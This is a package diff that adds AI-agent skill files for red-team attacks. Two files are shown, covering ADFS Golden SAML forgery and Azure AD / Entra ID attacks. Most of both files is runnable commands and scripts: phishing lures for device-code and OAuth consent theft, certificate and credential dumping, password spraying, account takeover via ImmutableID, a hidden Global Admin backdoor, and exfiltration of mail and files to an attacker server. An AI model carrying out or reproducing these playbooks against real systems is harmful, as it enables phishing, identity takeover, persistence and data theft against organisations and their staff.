rtexit-method 0.1.4 → 0.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-adfs/SKILL.md +209 -0
- package/packaged-assets/.agents/skills/rt-azure-ad/SKILL.md +315 -0
- package/packaged-assets/.agents/skills/rt-binary-reverse-engineering/SKILL.md +304 -0
- package/packaged-assets/.agents/skills/rt-citrix-vdi/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-crypto-attacks/SKILL.md +350 -0
- package/packaged-assets/.agents/skills/rt-exchange-sharepoint/SKILL.md +256 -0
- package/packaged-assets/.agents/skills/rt-exploit-fuzzing/SKILL.md +301 -0
- package/packaged-assets/.agents/skills/rt-hardware-hacking/SKILL.md +253 -0
- package/packaged-assets/.agents/skills/rt-network-segmentation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-password-spray/SKILL.md +298 -0
- package/packaged-assets/.agents/skills/rt-redteam-infra/SKILL.md +333 -0
- package/packaged-assets/.agents/skills/rt-ssl-mitm/SKILL.md +305 -0
- package/packaged-assets/.agents/skills/rt-steganography/SKILL.md +293 -0
- package/packaged-assets/.agents/skills/rt-traffic-analysis/SKILL.md +283 -0
- package/packaged-assets/.agents/skills/rt-wireless-rogue-ap/SKILL.md +276 -0
- package/packaged-assets/.agents/skills/rt-wordlist-generation/SKILL.md +288 -0
package/package.json
CHANGED
|
@@ -0,0 +1,209 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-adfs
|
|
3
|
+
description: "Active Directory Federation Services (ADFS) attack skill for authorized engagements. Golden SAML token forgery, ADFS token signing certificate extraction, ImmutableID manipulation for account takeover, ADFS endpoint enumeration, WS-Trust exploitation, ADFS configuration dump, and hybrid identity attack chains. Use when engagement scope includes federated identity or when Azure AD Connect with ADFS is deployed."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-adfs — ADFS Attack & Golden SAML
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
ADFS (Active Directory Federation Services) provides federated SSO — it issues SAML tokens that allow users to authenticate to cloud services (Office 365, Salesforce, AWS) using on-prem credentials. Compromising ADFS = forge tokens for any user, including Global Admin, without knowing passwords.
|
|
11
|
+
|
|
12
|
+
**Golden SAML** = SAML equivalent of Kerberos Golden Ticket. Forge a valid SAML assertion for any user using the ADFS token signing certificate.
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## Phase 1 — ADFS Discovery & Enumeration
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
# Identify ADFS in the environment
|
|
20
|
+
nmap -sV -p 443,49443,80 ADFS_SERVER_IP
|
|
21
|
+
# ADFS typically runs on: adfs.corp.com or sts.corp.com
|
|
22
|
+
|
|
23
|
+
# Enumerate ADFS metadata (unauthenticated)
|
|
24
|
+
curl https://adfs.corp.com/federationmetadata/2007-06/federationmetadata.xml
|
|
25
|
+
# Contains: token signing certificate, endpoints, realm info
|
|
26
|
+
|
|
27
|
+
# Check authentication type
|
|
28
|
+
curl https://adfs.corp.com/adfs/ls/IdpInitiatedSignon.aspx
|
|
29
|
+
# ADFS sign-in page = confirmation ADFS is present
|
|
30
|
+
|
|
31
|
+
# AADInternals — enumerate ADFS config
|
|
32
|
+
Import-Module AADInternals
|
|
33
|
+
$info = Get-AADIntLoginInformation -Domain corp.com
|
|
34
|
+
$info.AuthURL # Shows ADFS URL if federated
|
|
35
|
+
|
|
36
|
+
# Get tenant federation details
|
|
37
|
+
Invoke-AADIntReconAsOutsider -DomainName corp.com
|
|
38
|
+
# If "Federation" = ADFS → Golden SAML is possible
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
---
|
|
42
|
+
|
|
43
|
+
## Phase 2 — ADFS Token Signing Certificate Extraction
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
# Token signing cert is the key to Golden SAML
|
|
47
|
+
# Stored on ADFS server — requires local admin or DA
|
|
48
|
+
|
|
49
|
+
# Method 1: AADInternals (on ADFS server as local admin)
|
|
50
|
+
Import-Module AADInternals
|
|
51
|
+
Export-AADIntADFSCertificates
|
|
52
|
+
# Output: ADFSSigningCertificate.pfx, ADFSEncryptionCertificate.pfx
|
|
53
|
+
|
|
54
|
+
# Method 2: Direct ADFS database (on primary ADFS server)
|
|
55
|
+
# ADFS stores config in: WID (Windows Internal Database) or SQL Server
|
|
56
|
+
# Config DB contains encrypted certs → decrypt with DPAPI
|
|
57
|
+
|
|
58
|
+
# Method 3: via DCSync (if ADFS uses gMSA or service account)
|
|
59
|
+
# Extract ADFS service account creds → access ADFS config
|
|
60
|
+
impacket-secretsdump corp.local/admin:Password1@DC_IP | grep "ADFS\|adfssvc"
|
|
61
|
+
|
|
62
|
+
# Method 4: Direct certificate store
|
|
63
|
+
# On ADFS server as admin:
|
|
64
|
+
$cert = Get-AdfsCertificate -CertificateType Token-Signing
|
|
65
|
+
$cert.Certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx, "password")
|
|
66
|
+
[IO.File]::WriteAllBytes("C:\adfs_signing.pfx", $cert)
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
---
|
|
70
|
+
|
|
71
|
+
## Phase 3 — Golden SAML Forgery
|
|
72
|
+
|
|
73
|
+
```bash
|
|
74
|
+
# With token signing certificate → forge SAML for ANY user
|
|
75
|
+
# User doesn't need to exist in Azure AD — ImmutableID maps on-prem to cloud
|
|
76
|
+
|
|
77
|
+
# Tool: ADFSpoof / AADInternals
|
|
78
|
+
|
|
79
|
+
# AADInternals — forge SAML token
|
|
80
|
+
Import-Module AADInternals
|
|
81
|
+
|
|
82
|
+
# Get ImmutableID for target user (maps on-prem GUID to Azure AD)
|
|
83
|
+
$user = Get-ADUser -Identity "administrator" -Properties ObjectGUID
|
|
84
|
+
$immutableId = [System.Convert]::ToBase64String($user.ObjectGUID.ToByteArray())
|
|
85
|
+
|
|
86
|
+
# Forge Golden SAML token
|
|
87
|
+
$samlToken = New-AADIntSAMLToken `
|
|
88
|
+
-ImmutableID $immutableId `
|
|
89
|
+
-Issuer "https://sts.corp.com/adfs/services/trust" `
|
|
90
|
+
-PfxFileName "ADFSSigningCertificate.pfx" `
|
|
91
|
+
-PfxPassword "password"
|
|
92
|
+
|
|
93
|
+
# Use token to get Azure AD access token
|
|
94
|
+
$accessToken = Get-AADIntAccessTokenWithSAML -SAMLToken $samlToken -Resource "https://graph.microsoft.com"
|
|
95
|
+
# → Authenticated as Administrator in Azure AD / M365
|
|
96
|
+
|
|
97
|
+
# ADFSpoof (Python alternative)
|
|
98
|
+
git clone https://github.com/fireeye/ADFSpoof
|
|
99
|
+
pip3 install -r requirements.txt
|
|
100
|
+
|
|
101
|
+
python3 ADFSpoof.py \
|
|
102
|
+
-b ADFS_CERT.pfx \
|
|
103
|
+
-s ADFS_CERT_PASSPHRASE \
|
|
104
|
+
--assertionid "_id123" \
|
|
105
|
+
--responseid "_id456" \
|
|
106
|
+
-t corp.com \
|
|
107
|
+
-u "administrator@corp.com" \
|
|
108
|
+
--upn "administrator@corp.com" \
|
|
109
|
+
--objectguid "OBJECT_GUID"
|
|
110
|
+
# Output: base64 SAML token → use in OAuth flow
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
---
|
|
114
|
+
|
|
115
|
+
## Phase 4 — WS-Trust Exploitation
|
|
116
|
+
|
|
117
|
+
```bash
|
|
118
|
+
# WS-Trust = protocol ADFS uses for username/password authentication
|
|
119
|
+
# If WS-Trust endpoint enabled → authenticate directly, bypass web MFA
|
|
120
|
+
|
|
121
|
+
# Check WS-Trust endpoints
|
|
122
|
+
curl https://adfs.corp.com/adfs/services/trust/2005/usernamemixed
|
|
123
|
+
curl https://adfs.corp.com/adfs/services/trust/13/usernamemixed
|
|
124
|
+
|
|
125
|
+
# AADInternals — use WS-Trust for token
|
|
126
|
+
$token = Get-AADIntAccessTokenUsingWSTrust -Credentials (Get-Credential) `
|
|
127
|
+
-STSEndpoint "https://adfs.corp.com/adfs/services/trust/13/usernamemixed"
|
|
128
|
+
|
|
129
|
+
# Password spray via WS-Trust (bypasses AAD Smart Lockout)
|
|
130
|
+
# WS-Trust uses on-prem lockout policy, not Azure AD SmartLockout
|
|
131
|
+
Invoke-AADIntUserEnumerationAsOutsider -UserList users.txt
|
|
132
|
+
foreach ($user in $users) {
|
|
133
|
+
Get-AADIntAccessTokenUsingWSTrust -Username $user -Password "Summer2024!" `
|
|
134
|
+
-STSEndpoint "https://adfs.corp.com/adfs/services/trust/13/usernamemixed" `
|
|
135
|
+
-ErrorAction SilentlyContinue
|
|
136
|
+
}
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
---
|
|
140
|
+
|
|
141
|
+
## Phase 5 — ImmutableID Manipulation
|
|
142
|
+
|
|
143
|
+
```bash
|
|
144
|
+
# ImmutableID links on-prem AD object to Azure AD account
|
|
145
|
+
# If you can set ImmutableID on a cloud-only account → sync it to your controlled on-prem object
|
|
146
|
+
|
|
147
|
+
# Scenario: You have Global Admin in Azure AD (via phishing/consent grant)
|
|
148
|
+
# Target: CEO who uses ADFS SSO
|
|
149
|
+
# Goal: take over CEO's cloud account
|
|
150
|
+
|
|
151
|
+
# Step 1: Find CEO's ImmutableID
|
|
152
|
+
Get-AADIntUser -UserPrincipalName "ceo@corp.com" | Select ImmutableId
|
|
153
|
+
# Output: ImmutableId = "abc123=="
|
|
154
|
+
|
|
155
|
+
# Step 2: Create controlled on-prem user with same ImmutableID
|
|
156
|
+
New-ADUser -SamAccountName "svc_sync_test" -UserPrincipalName "svc_sync_test@corp.local"
|
|
157
|
+
Set-ADUser -Identity "svc_sync_test" -Replace @{"ms-DS-ConsistencyGuid"=[System.Convert]::FromBase64String("abc123==")}
|
|
158
|
+
|
|
159
|
+
# Step 3: Sync to Azure AD (force sync)
|
|
160
|
+
Start-ADSyncSyncCycle -PolicyType Delta # On AD Connect server
|
|
161
|
+
|
|
162
|
+
# Step 4: Now authenticate as CEO via ADFS with your controlled account
|
|
163
|
+
# CEO's cloud account now linked to your on-prem object
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
---
|
|
167
|
+
|
|
168
|
+
## Phase 6 — ADFS Config Dump
|
|
169
|
+
|
|
170
|
+
```bash
|
|
171
|
+
# Full ADFS configuration contains: relying party trusts, claims rules, certs
|
|
172
|
+
|
|
173
|
+
# PowerShell on ADFS server
|
|
174
|
+
Get-AdfsProperties | Export-Clixml adfs_properties.xml
|
|
175
|
+
Get-AdfsRelyingPartyTrust | Export-Clixml relying_parties.xml
|
|
176
|
+
Get-AdfsClaimsProviderTrust | Export-Clixml claims_providers.xml
|
|
177
|
+
|
|
178
|
+
# Find all applications trusting this ADFS
|
|
179
|
+
Get-AdfsRelyingPartyTrust | Select-Object Name, Identifier, WsFedEndpoint, SamlEndpoints
|
|
180
|
+
|
|
181
|
+
# Common relying parties to target:
|
|
182
|
+
# Office 365 (urn:federation:MicrosoftOnline)
|
|
183
|
+
# Salesforce
|
|
184
|
+
# AWS IAM Identity Center
|
|
185
|
+
# ServiceNow, Workday, etc.
|
|
186
|
+
|
|
187
|
+
# Each relying party = can be targeted with Golden SAML
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
---
|
|
191
|
+
|
|
192
|
+
## Skill Levels
|
|
193
|
+
|
|
194
|
+
**BEGINNER:** ADFS discovery and metadata enumeration · WS-Trust password spraying
|
|
195
|
+
|
|
196
|
+
**INTERMEDIATE:** Token signing certificate extraction via AADInternals · Golden SAML with ADFSpoof
|
|
197
|
+
|
|
198
|
+
**ADVANCED:** ImmutableID manipulation for account takeover · Full hybrid identity chain (on-prem → ADFS → Azure AD → M365)
|
|
199
|
+
|
|
200
|
+
**EXPERT:** Cross-tenant federation abuse · Custom claims rule manipulation · ADFS persistence via certificate rotation backdoor
|
|
201
|
+
|
|
202
|
+
---
|
|
203
|
+
|
|
204
|
+
## References
|
|
205
|
+
|
|
206
|
+
- AADInternals: https://github.com/Gerenios/AADInternals
|
|
207
|
+
- ADFSpoof: https://github.com/fireeye/ADFSpoof
|
|
208
|
+
- Golden SAML research: https://www.fireeye.com/blog/threat-research/2019/06/hunting-rtm-group-hacking-tricks.html
|
|
209
|
+
- MITRE T1606.002: https://attack.mitre.org/techniques/T1606/002/
|
|
@@ -0,0 +1,315 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-azure-ad
|
|
3
|
+
description: "Azure Active Directory / Entra ID attack skill for authorized engagements. Device code phishing for token theft, Primary Refresh Token (PRT) abuse, OAuth 2.0 consent grant attacks, Azure AD application abuse, Conditional Access Policy bypass, Guest account abuse, Azure AD Connect exploitation, Seamless SSO silver ticket, and Pass-the-PRT. Use when engagement scope includes Microsoft 365, Azure AD, or hybrid identity environments."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-azure-ad — Azure Active Directory / Entra ID Attacks
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Azure AD (now Microsoft Entra ID) is the identity backbone for Microsoft 365, Azure, and hybrid on-premises AD environments. Compromising Azure AD provides access to: email (Exchange Online), files (SharePoint/OneDrive), Teams, Azure subscriptions, and on-prem AD via hybrid sync.
|
|
11
|
+
|
|
12
|
+
**Key attack vectors:**
|
|
13
|
+
- Phishing tokens (device code, OAuth consent)
|
|
14
|
+
- PRT (Primary Refresh Token) theft from Windows devices
|
|
15
|
+
- Azure AD Connect password sync exploitation
|
|
16
|
+
- Over-privileged applications and service principals
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
## Phase 1 — Enumeration (Unauthenticated)
|
|
21
|
+
|
|
22
|
+
```bash
|
|
23
|
+
# Install AADInternals (PowerShell — most powerful Azure AD tool)
|
|
24
|
+
Install-Module AADInternals -Scope CurrentUser
|
|
25
|
+
Import-Module AADInternals
|
|
26
|
+
|
|
27
|
+
# Enumerate tenant info without credentials
|
|
28
|
+
Invoke-AADIntReconAsOutsider -DomainName corp.com | Format-Table
|
|
29
|
+
|
|
30
|
+
# Output:
|
|
31
|
+
# Tenant ID, tenant name, authentication type
|
|
32
|
+
# AAD Connect enabled? (hybrid sync present?)
|
|
33
|
+
# Federation provider (ADFS?)
|
|
34
|
+
# MFA enforced?
|
|
35
|
+
|
|
36
|
+
# Check if domain is federated (ADFS) or managed (Azure AD direct)
|
|
37
|
+
Get-AADIntLoginInformation -Domain corp.com
|
|
38
|
+
|
|
39
|
+
# Enumerate valid users (no auth needed — response timing)
|
|
40
|
+
Invoke-AADIntUserEnumerationAsOutsider -UserNames users.txt -Domain corp.com
|
|
41
|
+
|
|
42
|
+
# Tools
|
|
43
|
+
# ROADtools: https://github.com/dirkjanm/ROADtools
|
|
44
|
+
pip3 install roadtools roadrecon
|
|
45
|
+
roadrecon auth -u user@corp.com -p Password1
|
|
46
|
+
roadrecon gather
|
|
47
|
+
roadrecon gui # Browse all Azure AD objects at http://localhost:5000
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
---
|
|
51
|
+
|
|
52
|
+
## Phase 2 — Device Code Phishing (Token Theft)
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
# Device code flow: user enters code at microsoft.com/devicelogin
|
|
56
|
+
# Attacker polls for token while user authenticates
|
|
57
|
+
# Bypasses password requirement — user just needs to enter a code
|
|
58
|
+
# Very effective: looks like "sign in to this app" — hard to distinguish from legit
|
|
59
|
+
|
|
60
|
+
# Generate device code
|
|
61
|
+
Invoke-AADIntDeviceCodeFlow -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
62
|
+
# Output:
|
|
63
|
+
# user_code: ABC123DEF ← send this to target
|
|
64
|
+
# verification_url: https://microsoft.com/devicelogin
|
|
65
|
+
# expires_in: 900 seconds
|
|
66
|
+
|
|
67
|
+
# Send phishing message to target:
|
|
68
|
+
# "Please authenticate to our SharePoint portal: go to microsoft.com/devicelogin and enter code: ABC123DEF"
|
|
69
|
+
|
|
70
|
+
# Poll for authentication (runs while target enters code)
|
|
71
|
+
# AADInternals polls automatically → outputs access token when user authenticates
|
|
72
|
+
|
|
73
|
+
# With token — access all Microsoft services
|
|
74
|
+
$token = Get-AADIntAccessTokenForMSGraph
|
|
75
|
+
Get-AADIntUsers -AccessToken $token # All Azure AD users
|
|
76
|
+
Invoke-AADIntGetMailboxes -AccessToken $token # Exchange mailboxes
|
|
77
|
+
|
|
78
|
+
# TokenTacticsV2 (more complete device code phishing framework)
|
|
79
|
+
git clone https://github.com/f-bader/TokenTacticsV2
|
|
80
|
+
Import-Module .\TokenTacticsV2.psd1
|
|
81
|
+
Invoke-DeviceCodeFlow # Interactive — shows code to send target
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
---
|
|
85
|
+
|
|
86
|
+
## Phase 3 — Primary Refresh Token (PRT) Abuse
|
|
87
|
+
|
|
88
|
+
```bash
|
|
89
|
+
# PRT = long-lived token on Azure AD joined/registered Windows devices
|
|
90
|
+
# Stored in LSA — not accessible normally
|
|
91
|
+
# If you have SYSTEM on a Windows device → steal PRT → authenticate as user
|
|
92
|
+
|
|
93
|
+
# Check if device is Azure AD joined
|
|
94
|
+
dsregcmd /status | grep -i "AzureAdJoined\|WorkplaceJoined"
|
|
95
|
+
# AzureAdJoined: YES = has PRT
|
|
96
|
+
|
|
97
|
+
# Extract PRT with ROADtoken (requires SYSTEM)
|
|
98
|
+
# https://github.com/dirkjanm/ROADtoken
|
|
99
|
+
.\ROADtoken.exe # Outputs PRT + session key
|
|
100
|
+
|
|
101
|
+
# Or with AADInternals
|
|
102
|
+
Get-AADIntUserPRT # Gets current user's PRT
|
|
103
|
+
Get-AADIntUserPRTToken # Gets PRT token for use
|
|
104
|
+
|
|
105
|
+
# Create cookie from PRT (Pass-the-PRT)
|
|
106
|
+
# Use PRT to authenticate to any Azure AD resource without password
|
|
107
|
+
$prtCookie = New-AADIntUserPRTToken -RefreshToken $prt -SessionKey $sessionKey
|
|
108
|
+
# Use cookie in browser: DevTools → Application → Cookies → x-ms-RefreshTokenCredential = $prtCookie
|
|
109
|
+
# Navigate to portal.azure.com or office.com → authenticated as victim
|
|
110
|
+
|
|
111
|
+
# Mimikatz PRT extraction
|
|
112
|
+
sekurlsa::cloudap # Extracts PRT from LSASS CloudAP provider
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
---
|
|
116
|
+
|
|
117
|
+
## Phase 4 — OAuth Consent Grant Attack
|
|
118
|
+
|
|
119
|
+
```bash
|
|
120
|
+
# Register malicious Azure AD app → trick user into granting permissions
|
|
121
|
+
# No password needed — just user consent
|
|
122
|
+
# App gets long-lived access to: email, files, calendar, contacts
|
|
123
|
+
|
|
124
|
+
# Step 1: Register app in attacker tenant
|
|
125
|
+
# Azure Portal → Azure Active Directory → App Registrations → New
|
|
126
|
+
# Name: "Excel Add-in Productivity Tool" (believable)
|
|
127
|
+
# Redirect URI: https://your-server.com/callback
|
|
128
|
+
# API Permissions: Mail.Read, Files.Read.All, Calendars.Read, User.Read
|
|
129
|
+
|
|
130
|
+
# Step 2: Craft consent URL
|
|
131
|
+
$clientId = "YOUR_APP_CLIENT_ID"
|
|
132
|
+
$redirectUri = "https://your-server.com/callback"
|
|
133
|
+
$scope = "https://graph.microsoft.com/Mail.Read https://graph.microsoft.com/Files.Read.All offline_access"
|
|
134
|
+
|
|
135
|
+
$consentUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?" +
|
|
136
|
+
"client_id=$clientId&response_type=code&redirect_uri=$redirectUri" +
|
|
137
|
+
"&scope=$scope&state=12345"
|
|
138
|
+
|
|
139
|
+
# Step 3: Send to target (phishing email):
|
|
140
|
+
# "Please authorize the Excel productivity add-in: $consentUrl"
|
|
141
|
+
|
|
142
|
+
# Step 4: User clicks → Microsoft consent screen → user approves → redirect with code
|
|
143
|
+
# Exchange code for tokens on your server
|
|
144
|
+
|
|
145
|
+
# Step 5: Use refresh token for persistent access
|
|
146
|
+
# Refresh token valid 90 days (or until revoked)
|
|
147
|
+
python3 << 'EOF'
|
|
148
|
+
import requests
|
|
149
|
+
|
|
150
|
+
token_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
|
|
151
|
+
data = {
|
|
152
|
+
"client_id": CLIENT_ID,
|
|
153
|
+
"client_secret": CLIENT_SECRET,
|
|
154
|
+
"code": AUTH_CODE,
|
|
155
|
+
"redirect_uri": REDIRECT_URI,
|
|
156
|
+
"grant_type": "authorization_code"
|
|
157
|
+
}
|
|
158
|
+
r = requests.post(token_url, data=data)
|
|
159
|
+
tokens = r.json()
|
|
160
|
+
print("Access token:", tokens['access_token'][:50])
|
|
161
|
+
print("Refresh token:", tokens['refresh_token'][:50])
|
|
162
|
+
|
|
163
|
+
# Read victim's email
|
|
164
|
+
headers = {"Authorization": f"Bearer {tokens['access_token']}"}
|
|
165
|
+
mail = requests.get("https://graph.microsoft.com/v1.0/me/messages", headers=headers)
|
|
166
|
+
print(mail.json())
|
|
167
|
+
EOF
|
|
168
|
+
```
|
|
169
|
+
|
|
170
|
+
---
|
|
171
|
+
|
|
172
|
+
## Phase 5 — Conditional Access Policy Bypass
|
|
173
|
+
|
|
174
|
+
```bash
|
|
175
|
+
# Conditional Access (CA) can require: MFA, compliant device, specific location
|
|
176
|
+
# Bypass techniques:
|
|
177
|
+
|
|
178
|
+
# Technique 1: Legacy authentication protocols (if not blocked)
|
|
179
|
+
# Basic Auth to Exchange Online bypasses MFA
|
|
180
|
+
curl -u "user@corp.com:Password1" \
|
|
181
|
+
"https://outlook.office365.com/api/v2.0/me/messages" \
|
|
182
|
+
-H "Accept: application/json"
|
|
183
|
+
|
|
184
|
+
# Check if legacy auth is allowed
|
|
185
|
+
Get-AADIntTenantDetails | Select-Object allowLegacyAuth
|
|
186
|
+
|
|
187
|
+
# Technique 2: Trusted location bypass
|
|
188
|
+
# CA often allows access from "trusted IPs" (office building)
|
|
189
|
+
# If you have a foothold inside the network → access from trusted IP
|
|
190
|
+
|
|
191
|
+
# Technique 3: CA doesn't apply to service principals
|
|
192
|
+
# Register app → use app credentials → not subject to user CA policies
|
|
193
|
+
|
|
194
|
+
# Technique 4: Continuous Access Evaluation (CAE) gap
|
|
195
|
+
# Tokens valid for 1 hour even if CA policy changes
|
|
196
|
+
# Steal token → use within validity window
|
|
197
|
+
|
|
198
|
+
# Technique 5: Named location spoofing
|
|
199
|
+
# Some CA policies allow from "Any Compliant Device"
|
|
200
|
+
# If device is Azure AD joined → PRT automatically satisfies device compliance
|
|
201
|
+
```
|
|
202
|
+
|
|
203
|
+
---
|
|
204
|
+
|
|
205
|
+
## Phase 6 — Azure AD Connect Exploitation
|
|
206
|
+
|
|
207
|
+
```bash
|
|
208
|
+
# Azure AD Connect syncs on-prem AD → Azure AD
|
|
209
|
+
# If you own the AD Connect server → dump all password hashes
|
|
210
|
+
|
|
211
|
+
# Find AD Connect server
|
|
212
|
+
Get-ADComputer -Filter {ServicePrincipalName -like "*AADConnect*"} -Properties *
|
|
213
|
+
# Or check for MSOL_ account in AD:
|
|
214
|
+
Get-ADUser -Filter {SamAccountName -like "MSOL_*"} -Properties *
|
|
215
|
+
|
|
216
|
+
# Dump AD Connect credentials (AADInternals)
|
|
217
|
+
# Run on AD Connect server as local admin
|
|
218
|
+
Get-AADIntSyncCredentials
|
|
219
|
+
# Output:
|
|
220
|
+
# ADDomain: corp.local
|
|
221
|
+
# ADUsername: MSOL_abc123
|
|
222
|
+
# ADPassword: CLEARTEXT_PASSWORD ← NTLM sync service account
|
|
223
|
+
# AzureUsername: sync_abc123@corp.onmicrosoft.com
|
|
224
|
+
# AzurePassword: CLEARTEXT_PASSWORD
|
|
225
|
+
|
|
226
|
+
# Use Azure sync account to dump ALL hashes via DCSync-equivalent
|
|
227
|
+
# Sync account has "Replicating Directory Changes" rights
|
|
228
|
+
impacket-secretsdump 'corp.local/MSOL_abc123:PASSWORD@DC_IP'
|
|
229
|
+
|
|
230
|
+
# Pass hash for all users directly to Azure AD
|
|
231
|
+
# AADInternals: set arbitrary password for any Azure AD user
|
|
232
|
+
Set-AADIntUserPassword -SourceAnchor "SOURCEANCHO=" -Password "NewPassword1!"
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
---
|
|
236
|
+
|
|
237
|
+
## Phase 7 — Seamless SSO Silver Ticket
|
|
238
|
+
|
|
239
|
+
```bash
|
|
240
|
+
# Azure AD Seamless SSO uses Kerberos
|
|
241
|
+
# Service account: AZUREADSSOACC$ — has a known Kerberos key
|
|
242
|
+
# Create silver ticket → authenticate to Azure AD as any user
|
|
243
|
+
|
|
244
|
+
# Step 1: Extract AZUREADSSOACC$ password hash
|
|
245
|
+
# (Requires DCSync rights or AD Connect server access)
|
|
246
|
+
impacket-secretsdump corp.local/admin:Password1@DC_IP | grep AZUREADSSOACC
|
|
247
|
+
|
|
248
|
+
# Step 2: Forge silver ticket
|
|
249
|
+
python3 ticketer.py \
|
|
250
|
+
-nthash AZUREADSSOACC_NTHASH \
|
|
251
|
+
-domain-sid DOMAIN_SID \
|
|
252
|
+
-domain corp.local \
|
|
253
|
+
-spn "HTTP/aadg.windows.net.nsatc.net" \
|
|
254
|
+
TargetUser
|
|
255
|
+
|
|
256
|
+
# Step 3: Convert to Azure AD token
|
|
257
|
+
# AADInternals
|
|
258
|
+
$kerbTicket = Get-Content ticket.kirbi
|
|
259
|
+
$token = New-AADIntUserAccessTokenFromKerberos -KerberosTicket $kerbTicket
|
|
260
|
+
# → Authenticated as TargetUser in Azure AD without their password
|
|
261
|
+
```
|
|
262
|
+
|
|
263
|
+
---
|
|
264
|
+
|
|
265
|
+
## Phase 8 — Post-Compromise Azure AD
|
|
266
|
+
|
|
267
|
+
```bash
|
|
268
|
+
# After gaining Azure AD Global Admin or privileged role
|
|
269
|
+
|
|
270
|
+
# Enumerate entire tenant
|
|
271
|
+
roadrecon gather --access-token $token
|
|
272
|
+
roadrecon gui
|
|
273
|
+
|
|
274
|
+
# Add backdoor credentials to service principal
|
|
275
|
+
# Even if password is reset → backdoor app keeps access
|
|
276
|
+
New-AADIntServicePrincipalCertificate -ApplicationId APP_ID
|
|
277
|
+
# Returns: certificate that authenticates as the service principal
|
|
278
|
+
|
|
279
|
+
# Create new Global Admin (persistence)
|
|
280
|
+
New-AADIntUser -UserPrincipalName "svc-monitor@corp.onmicrosoft.com" \
|
|
281
|
+
-DisplayName "Monitoring Service" \
|
|
282
|
+
-Password "Secure123!" \
|
|
283
|
+
-UserRole GlobalAdministrator
|
|
284
|
+
|
|
285
|
+
# Golden SAML via AADInternals (if ADFS present — see rt-adfs)
|
|
286
|
+
# Extract ADFS token signing certificate → forge any SAML assertion
|
|
287
|
+
|
|
288
|
+
# Exfil via Microsoft Graph
|
|
289
|
+
# Download all OneDrive files
|
|
290
|
+
Get-AADIntOneDriveFiles -AccessToken $token | Export-Csv onedrive_files.csv
|
|
291
|
+
# Download SharePoint
|
|
292
|
+
Get-AADIntSharePointFiles -AccessToken $token -SiteUrl "https://corp.sharepoint.com/sites/internal"
|
|
293
|
+
```
|
|
294
|
+
|
|
295
|
+
---
|
|
296
|
+
|
|
297
|
+
## Skill Levels
|
|
298
|
+
|
|
299
|
+
**BEGINNER:** Device code phishing → access M365 email/files · ROADrecon enumeration
|
|
300
|
+
|
|
301
|
+
**INTERMEDIATE:** OAuth consent grant attack · CA policy bypass via legacy auth · Azure AD Connect credential dump
|
|
302
|
+
|
|
303
|
+
**ADVANCED:** PRT theft and Pass-the-PRT · Seamless SSO silver ticket · Service principal backdoor
|
|
304
|
+
|
|
305
|
+
**EXPERT:** Golden SAML via ADFS + Azure AD trust · Cross-tenant attacks · Full hybrid identity compromise chain
|
|
306
|
+
|
|
307
|
+
---
|
|
308
|
+
|
|
309
|
+
## References
|
|
310
|
+
|
|
311
|
+
- AADInternals: https://github.com/Gerenios/AADInternals
|
|
312
|
+
- ROADtools: https://github.com/dirkjanm/ROADtools
|
|
313
|
+
- TokenTacticsV2: https://github.com/f-bader/TokenTacticsV2
|
|
314
|
+
- Azure AD Kill Chain: https://aadinternals.com/post/azuread_attack/
|
|
315
|
+
- MITRE T1528: https://attack.mitre.org/techniques/T1528/
|